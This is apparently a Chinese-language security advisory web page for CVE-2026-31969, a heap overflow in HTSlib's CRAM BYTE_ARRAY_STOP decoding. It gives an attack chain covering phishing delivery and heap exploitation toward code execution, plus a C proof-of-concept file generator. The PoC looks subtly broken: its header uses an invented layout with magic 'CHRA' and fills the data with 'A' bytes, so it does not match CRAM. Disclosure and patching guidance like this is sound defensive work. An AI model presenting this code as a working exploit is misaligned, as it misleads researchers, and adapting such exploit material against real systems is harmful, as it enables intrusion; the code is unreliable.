IPBUF安全漏洞报告
English
CVE-2026-31969 CVSS 8.1 高危

CVE-2026-31969 HTSlib CRAM格式BYTE_ARRAY_STOP堆缓冲区溢出漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-31969
漏洞类型
缓冲区溢出/堆溢出
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
HTSlib

相关标签

缓冲区溢出堆溢出CRAM格式HTSlib生物信息学代码执行BYTE_ARRAY_STOPSamtoolsNVD

漏洞概述

HTSlib是一个用于读写生物信息学文件格式的C语言库。CRAM是一种压缩格式,用于存储DNA序列比对数据,采用多种编码和压缩方法。该漏洞存在于HTSlib处理CRAM文件格式的BYTE_ARRAY_STOP编码方法时。具体来说,cram_byte_array_stop_decode_char()函数在检查输出缓冲区是否已满时存在一个out-by-one错误,导致攻击者可以控制的一个字节被写入堆分配的末尾之外。这种堆缓冲区溢出可能导致程序崩溃、堆数据或堆结构被意外覆写,攻击者可能利用此漏洞实现任意代码执行。此漏洞无需认证即可利用,但需要用户交互打开恶意CRAM文件。CVSS评分8.1,属于高危漏洞。

技术细节

漏洞根源在于cram_byte_array_stop_decode_char()函数中的边界检查逻辑错误。当HTSlib读取采用BYTE_ARRAY_STOP编码的CRAM文件时,该函数负责解码字符数组。函数在检查输出缓冲区是否已满时使用了错误的条件判断(out-by-one错误),使得本应被拒绝的写入操作得以执行。具体表现为:函数在缓冲区还有最后一个字节空间时就认为缓冲区已满,但实际写入时仍尝试写入一个字节,导致该字节溢出到堆分配区域之外。攻击者可以通过构造特制的CRAM文件来触发此漏洞。文件只需包含使用BYTE_ARRAY_STOP编码的数据,且数据长度精心设计以利用这个边界条件错误。当目标用户打开此文件时,HTSlib会调用存在漏洞的解码函数,导致堆溢出。根据堆布局和内存分配情况,攻击者可能覆写关键数据结构、函数指针或堆元数据,最终实现代码执行。

攻击链分析

STEP 1
步骤1
攻击者创建特制的CRAM文件,该文件包含使用BYTE_ARRAY_STOP编码的数据,数据长度经过精心设计以触发out-by-one错误
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站下载、文件分享等方式将恶意CRAM文件传递给目标用户
STEP 3
步骤3
目标用户使用存在漏洞的HTSlib版本打开该CRAM文件,触发cram_byte_array_stop_decode_char()函数
STEP 4
步骤4
漏洞函数在边界检查时存在错误,允许单字节写入堆分配区域之外,造成堆缓冲区溢出
STEP 5
步骤5
溢出的字节可能覆写堆元数据、相邻堆块数据或关键数据结构
STEP 6
步骤6
攻击者利用堆布局控制和覆写技术,构造利用原语,最终实现任意代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-31969 PoC - Malformed CRAM file triggering heap overflow // This PoC demonstrates the BYTE_ARRAY_STOP encoding overflow in HTSlib // Compile: gcc -o poc poc.c -lhts #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // CRAM file structure for triggering BYTE_ARRAY_STOP overflow typedef struct { uint32_t magic; // CRAM magic number uint32_t version; // CRAM version uint32_t file_id; // File ID uint32_t data_size; // Size of data section uint8_t encoding; // BYTE_ARRAY_STOP encoding type (value: 2) uint8_t stop_value; // Stop byte value uint16_t flags; // Encoding flags uint32_t data_len; // Length of payload data } cram_header_t; // Craft a malicious CRAM container with BYTE_ARRAY_STOP encoding void create_malicious_cram(const char* filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Failed to create file\n"); return; } // CRAM container header cram_header_t header = { .magic = 0x43485241, // 'CHRA' .version = 0x00000300, .file_id = 1, .data_size = 1024, .encoding = 2, // BYTE_ARRAY_STOP encoding .stop_value = 0x00, .flags = 0x0001, .data_len = 512 }; fwrite(&header, sizeof(header), 1, fp); // Crafted data that triggers out-by-one error // Fill data to exactly fill buffer, then one more byte to overflow uint8_t *payload = malloc(1024); memset(payload, 'A', 1024); // Write payload that will cause buffer overflow when decoded fwrite(payload, 1024, 1, fp); free(payload); fclose(fp); printf("Malicious CRAM file created: %s\n", filename); } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <output_cram_file>\n", argv[0]); return 1; } create_malicious_cram(argv[1]); printf("PoC generated. Use with vulnerable HTSlib version.\n"); return 0; }

影响范围

HTSlib < 1.21.1
HTSlib < 1.22.2
HTSlib < 1.23.1

防御指南

临时缓解措施
目前没有可用的临时缓解措施。建议用户立即升级到HTSlib 1.23.1、1.22.2或1.21.1版本。如果无法立即升级,应避免打开来自不可信来源的CRAM文件,并在处理CRAM文件时使用沙箱环境隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表